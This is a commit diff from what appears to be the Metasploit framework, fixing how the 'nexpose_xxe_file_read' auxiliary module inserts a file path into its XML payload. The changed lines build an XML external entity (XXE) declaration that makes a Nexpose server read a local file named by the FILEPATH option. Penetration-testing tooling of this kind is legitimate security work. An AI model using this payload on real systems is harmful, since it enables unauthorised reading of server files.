Fix nexpose_xxe_file_read datastore
parent
5b2eb986c9
commit
c22865fb71
|
@ -74,7 +74,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
|
||||
xml = '<!DOCTYPE foo ['
|
||||
xml << '<!ELEMENT host ANY>'
|
||||
xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">'
|
||||
xml << %Q{<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}">}
|
||||
xml << ']>'
|
||||
xml << '<SiteSaveRequest session-id="'
|
||||
|
||||
|
|
Loading…
Reference in New Issue